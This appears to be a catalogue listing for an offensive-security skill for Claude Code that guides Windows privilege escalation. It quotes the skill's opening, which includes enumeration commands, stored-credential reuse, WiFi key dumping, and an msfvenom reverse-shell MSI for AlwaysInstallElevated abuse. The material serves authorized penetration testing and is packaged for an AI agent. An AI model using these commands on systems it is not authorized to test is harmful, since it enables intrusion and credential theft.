windows-privilege-escalation

windows-privilege-escalation is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 81 tokens per session (2,238 once invoked), scanned A, original, Apache-2.0.

A Windows privilege-escalation guide for moving from a standard user account to administrator or SYSTEM access by testing common system weaknesses.

In plain words
What is it for?
Use it during authorized penetration tests after gaining access to a Windows machine, especially when checking services, privileges, and known vulnerabilities.
Why use it?
It helps security testers identify whether poor service, permission, token, registry, or kernel configurations allow unauthorized elevation.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it during authorized penetration tests after gaining access to a Windows machine, especially when checking services, privileges, and known vulnerabilities.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for windows-privilege-escalation

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for windows-privilege-escalation

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/windows-privilege-escalation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 81 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,238 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00081 $0.02238
Opus 5.5 $0.00032 $0.00895
Sonnet 5.5 $0.00016 $0.00448
Haiku 4.5 $0.00008 $0.00224

Measured 2mo ago against content hash 03ced24c4099, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

windows-privilege-escalation scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/penetration-testing/infrastructure/windows-privilege-escalation/SKILL.md · 234 lines

How it starts

The opening of the file, as written. The whole thing — 234 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Windows Privilege Escalation

When to Use

  • After gaining initial access (standard user shell) on a Windows system
  • When escalating from a low-privilege user or service account to SYSTEM/Admin
  • During post-exploitation when elevated privileges are needed

Prerequisites

  • Shell access (user or limited privilege) on the target system
  • Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
  • Understanding of the target OS privilege model and common misconfigurations
  • Ability to transfer files or compile tools on the target

Workflow

Phase 1: Automated Enumeration

# WinPEAS — comprehensive automated enumeration
.\winPEASx64.exe

# PowerUp (PowerShell)
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -Encoding ASCII powerup.txt

# Seatbelt (C# — security-focused enumeration)
.\Seatbelt.exe -group=all

# System information
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Phase 2: Quick Wins

# Check current privileges
whoami /priv
whoami /groups

# KEY PRIVILEGES for escalation:
# SeImpersonatePrivilege → Potato attacks (SYSTEM)
# SeAssignPrimaryTokenPrivilege → Token manipulation
# SeBackupPrivilege → Read any file (SAM/SYSTEM)
# SeRestorePrivilege → Write any file
# SeDebugPrivilege → Inject into any process
# SeTakeOwnershipPrivilege → Take ownership of any object

# Check for stored credentials
cmdkey /list
# If found: runas /savecred /user:admin cmd.exe

# Check for AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi
# msiexec /quiet /qn /i shell.msi

# Check for unattended install files
dir /s /b C:\unattend.xml C:\sysprep.inf C:\autounattend.xml 2>nul
type C:\Windows\Panther\Unattend.xml

# Check saved WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear

Read the full file on GitHub · 234 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 234 lines · 81 tokens per session scan A 03ced24c4099

Subscribe to this mod's changes

windows-privilege-escalation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (25 stars, last pushed 7mo ago), licensed Apache-2.0. It adds 81 tokens to every session and 2,238 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

windows-privilege-escalation compared with skills from other repositories

windows-privilege-escalation next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
windows-privilege-escalationakashrpatil/awesome-offensive-security-skillsSkill257mo agoApache-2.0A81Claude Code
aws-cloud-penetration-testingShulkwiSEC/bb-hugeSkill274mo agoMITB75Claude Code, Codex
docker-container-escapeShulkwiSEC/bb-hugeSkill274mo agoMITB65Claude Code, Codex
performing-privilege-escalation-assessmentxalgorix/xalgorixSkill1.5kyesterdayApache-2.0F97Claude Code, Codex
conducting-internal-network-penetration-testxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A45Claude Code, Codex
detecting-azure-service-principal-abusexalgorix/xalgorixSkill1.5kyesterdayApache-2.0A38Claude Code, Codex
architecture-diagrammateaix/mateclawSkill1.2ktodayApache-2.0A15Claude Code, Codex